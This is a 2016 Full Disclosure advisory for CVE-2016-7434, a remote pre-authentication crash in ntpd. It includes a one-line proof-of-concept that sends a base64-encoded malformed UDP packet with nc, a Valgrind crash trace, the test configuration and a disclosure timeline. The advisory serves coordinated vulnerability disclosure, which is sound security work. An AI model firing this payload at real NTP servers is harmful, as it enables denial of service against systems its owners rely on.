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Message-Id: <536804E8-7145-47F4-9AC0-24F4C131EA80@stubman.eu>
Date: Mon, 21 Nov 2016 17:18:00 +0100
From: Magnus Stubman <magnus@...bman.eu>
To: fulldisclosure@...lists.org
Subject: [FD] [CVE-2016-7434] ntpd remote pre-auth DoS
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
CVE-2016-7434 ntpd remote pre-auth Denial of Service
+----------------------------------------------------------------------------------------------+
Affected: ntp-4.2.7p22, up to but not including ntp-4.2.8p9,
and ntp-4.3.0 up to, but not including ntp-4.3.94
Credit: Magnus Klaaborg Stubman (@magnusstubman)
Bug report: http://bugs.ntp.org/show_bug.cgi?id=3082
The vulnerability allow unauthenticated users to crash ntpd with
a single malformed UDP packet, which cause a null pointer dereference.
+-Proof of concept exploit---------------------------------------------------------------------+
| echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsY"\ |
| "WRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123 |
+-------------------------------------------+-----------+--------------------------------------+
+-Valgrind report------------------------------------------------------------------------------+
| $ sudo valgrind ./ntpd/ntpd -n -c ~/resources/ntp.conf |
| ==5389== Memcheck, a memory error detector |
| ==5389== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. |
| ==5389== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info |
| ==5389== Command: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf |
| ==5389== |
| 25 Jun 23:07:05 ntpd[5389]: ntpd 4.2.8p8@...265-o Sat Jun 25 20:50:30 UTC 2016 (1): Starting |
| 25 Jun 23:07:05 ntpd[5389]: Command line: ./ntpd/ntpd -n -c /home/dude/resources/ntp.conf |
| 25 Jun 23:07:06 ntpd[5389]: proto: precision = 3.605 usec (-18) |
| 25 Jun 23:07:06 ntpd[5389]: switching logging to file /dev/null |
| 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 0 ^6wildcard [::]:123 |
| 25 Jun 23:07:06 ntpd[5389]: Listen and drop on 1 v4wildcard 0.0.0.0:123 |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 2 lo 127.0.0.1:123 |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 3 eth0 10.0.1.11:123 |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 4 eth0:0 1.2.3.4:123 |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 5 eth9:0 11.11.11.11:123 |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 6 lo [::1]:123 |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 7 eth0 [fe80::f2de:f1ff:fe85:75cf%2]:123 |
| 25 Jun 23:07:06 ntpd[5389]: Listen normally on 8 eth9 [fe80::a450:8eff:fecc:9c4%3]:123 |
| 25 Jun 23:07:06 ntpd[5389]: Listening on routing socket on fd #25 for interface updates |
| ==5389== Invalid read of size 1 |
| ==5389== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412) |
| ==5389== by 0x45704D: estrdup_impl (emalloc.c:128) |
| ==5389== by 0x41AF29: read_mru_list (ntp_control.c:4041) |
| ==5389== by 0x42BB09: receive (ntp_proto.c:659) |
| ==5389== by 0x4145CF: ntpdmain (ntpd.c:1329) |
| ==5389== by 0x405A58: main (ntpd.c:392) |
| ==5389== Address 0x0 is not stack'd, malloc'd or (recently) free'd |
| ==5389== |
| ==5389== |
| ==5389== Process terminating with default action of signal 11 (SIGSEGV) |
| ==5389== Access not within mapped region at address 0x0 |
| ==5389== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412) |
| ==5389== by 0x45704D: estrdup_impl (emalloc.c:128) |
| ==5389== by 0x41AF29: read_mru_list (ntp_control.c:4041) |
| ==5389== by 0x42BB09: receive (ntp_proto.c:659) |
| ==5389== by 0x4145CF: ntpdmain (ntpd.c:1329) |
| ==5389== by 0x405A58: main (ntpd.c:392) |
| ==5389== If you believe this happened as a result of a stack |
| ==5389== overflow in your program's main thread (unlikely but |
| ==5389== possible), you can try to increase the size of the |
| ==5389== main thread stack using the --main-stacksize= flag. |
| ==5389== The main thread stack size used in this run was 204800. |
| ==5389== |
| ==5389== HEAP SUMMARY: |
| ==5389== in use at exit: 122,458 bytes in 2,707 blocks |
| ==5389== total heap usage: 2,875 allocs, 168 frees, 411,190 bytes allocated |
| ==5389== |
| ==5389== LEAK SUMMARY: |
| ==5389== definitely lost: 0 bytes in 0 blocks |
| ==5389== indirectly lost: 0 bytes in 0 blocks |
| ==5389== possibly lost: 2,000 bytes in 2 blocks |
| ==5389== still reachable: 120,458 bytes in 2,705 blocks |
| ==5389== suppressed: 0 bytes in 0 blocks |
| ==5389== Rerun with --leak-check=full to see details of leaked memory |
| ==5389== |
| ==5389== For counts of detected and suppressed errors, rerun with: -> |
| ==5389== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) |
+----------------------------------------------------------------------------------------------+
+-ntp.conf-------------------------------------------------------------------------------------+
| server 127.127.1.0 prefer |
| fudge 127.127.1.0 stratum 10 |
| driftfile /var/lib/ntp/drift |
| broadcastdelay 0.008 |
| |
| logfile /dev/null |
| |
| restrict 127.0.0.1 mask 255.255.255.255 nomodify notrap |
+----------------------------------------------------------------------------------------------+
+-Timeline-------------------------------------------------------------------------------------+
| 2016-06-24 Discovery |
| 2016-06-26 Vendor notification |
| 2016-06-26 Vendor acknowledge that the report has been received |
| 2016-06-28 Vendor confirms the issue |
| 2016-09-29 Vendor provides patch for verification |
| 2016-10-01 Researcher acknowledge that the patch mitigates the issue |
| 2016-11-21 Public disclosure |
+----------------------------------------------------------------------------------------------+
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